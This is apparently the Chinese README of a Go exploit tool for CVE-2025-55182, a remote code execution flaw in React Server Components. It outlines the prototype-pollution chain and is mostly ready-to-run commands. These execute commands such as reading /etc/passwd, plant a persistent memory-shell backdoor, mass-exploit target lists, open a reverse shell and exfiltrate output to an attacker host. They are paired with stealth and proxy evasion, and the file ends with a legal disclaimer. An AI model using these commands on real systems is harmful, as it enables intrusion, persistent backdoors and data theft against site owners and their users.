基于Go的CVE-2025-55182概念验证,这是React Server Components中的一个严重RCE漏洞。具有漏洞检查、命令执行、内存shell注入、反向shell、批量扫描和代理支持,用于授权的安全测试。
⚠️ 仅供授权安全测试使用 ⚠️
CVE-2025-55182(又称 CVE-2025-66478)是 React Server Components(Flight 协议)中的一个严重远程代码执行漏洞。本工具是该 PoC 的 Go 实现,用于安全研究和授权渗透测试。
受影响版本:
该漏洞利用 Flight 协议反序列化中的原型污染:
$@ 反序列化获取 Chunk 引用Chunk.prototype.then 设置为根对象的 then 属性RESOLVED_MODEL,以受控的伪造 chunk 调用 initializeModelChunkresponse._formData.getresponse._formData.get 设置为 Function 构造函数,以实现任意代码执行/exec?cmd= 处持久化后门从 GitHub Releases 下载适用于您平台的最新版本。
可用的二进制文件:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
运行 ./build.sh 后,适用于所有受支持平台的二进制文件将位于 build/ 目录中。
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| 选项 | 描述 |
|---|---|
-u, --url | 目标 URL(例如 http://localhost:3000) |
-f, --file | 包含目标 URL 的文件(每行一个) |
--urls | -f/--file 的别名 |
-o, --output | 漏洞目标的输出文件 |
--json | 以 JSON 格式输出结果 |
-c, --command | 要执行的命令(带输出) |
--check | 检查漏洞 |
--version-check | 检测 Next.js 版本 |
--proxy | 代理 URL(socks5://user:pass@ip:port、socks4://ip:port、http://ip:port) |
-H, --header | 自定义请求头(可多次使用) |
-k, --insecure | 跳过 SSL/TLS 证书验证 |
--stealth | 隐身模式:browser、crawler、security(默认:browser) |
--delay | 请求之间的延迟(例如 2s、500ms) |
--variants | 使用多个载荷变体进行彻底检查 |
--memshell | 注入内存 Shell(持久化后门) |
--test-shell | 测试内存 Shell 是否处于活动状态 |
--shell-exec | 通过内存 Shell 执行命令 |
--revshell IP PORT | 建立反弹 Shell |
--exfil CMD IP PORT | 执行命令并通过 HTTP POST 输出结果 |
-t, --timeout | 请求超时时间(秒)(默认:15) |
--threads | 并发线程数(默认:10) |
--workers | --threads 的别名 |
--nocolor | 禁用彩色输出(适用于 Windows/管道) |
-h, --help | 显示帮助信息 |
-v, --version |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| 模式 | 描述 |
|---|---|
browser | 模拟真实浏览器请求(Chrome、Firefox、Safari、Edge)- 默认 |
crawler | 模拟搜索引擎爬虫(Googlebot、Bingbot、Baiduspider 等) |
security | 使用安全扫描器 User-Agent(Nessus、Nuclei) |
内存 Shell 功能注入一个持久化后门,该后门:
cmd 查询参数# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
build.sh 脚本可为 30 多个平台构建:
chmod +x build.sh
./build.sh
使用 --json 标志时,结果将以 JSONL 格式保存(每行一个 JSON):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
完整报告(_report.json)包括:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
该工具可从以下来源检测 Next.js 版本:
X-Powered-By 请求头__NEXT_DATA__、/_next/ 路径)易受攻击的版本将以红色突出显示。
⚠️ 重要法律声明 ⚠️
本工具严格仅供教育目的和授权安全测试使用。
严格禁止将本工具用于:
未经授权访问计算机系统在世界上大多数司法管辖区均属刑事犯罪,包括但不限于:
本软件按“原样”提供,不附带任何明示或暗示的担保。作者和版权持有人不对因使用本软件而产生的任何索赔、损害或其他责任负责。
下载、安装或使用本工具即表示您确认:
如果您不同意这些条款,请勿使用本工具。
Vladislav Tislenko aka keklick1337
日期:2025-12-05
本项目根据 MIT 许可证 授权 - 详情请参阅 LICENSE 文件。
负责任地使用。保持合法。🔐
| 显示版本 |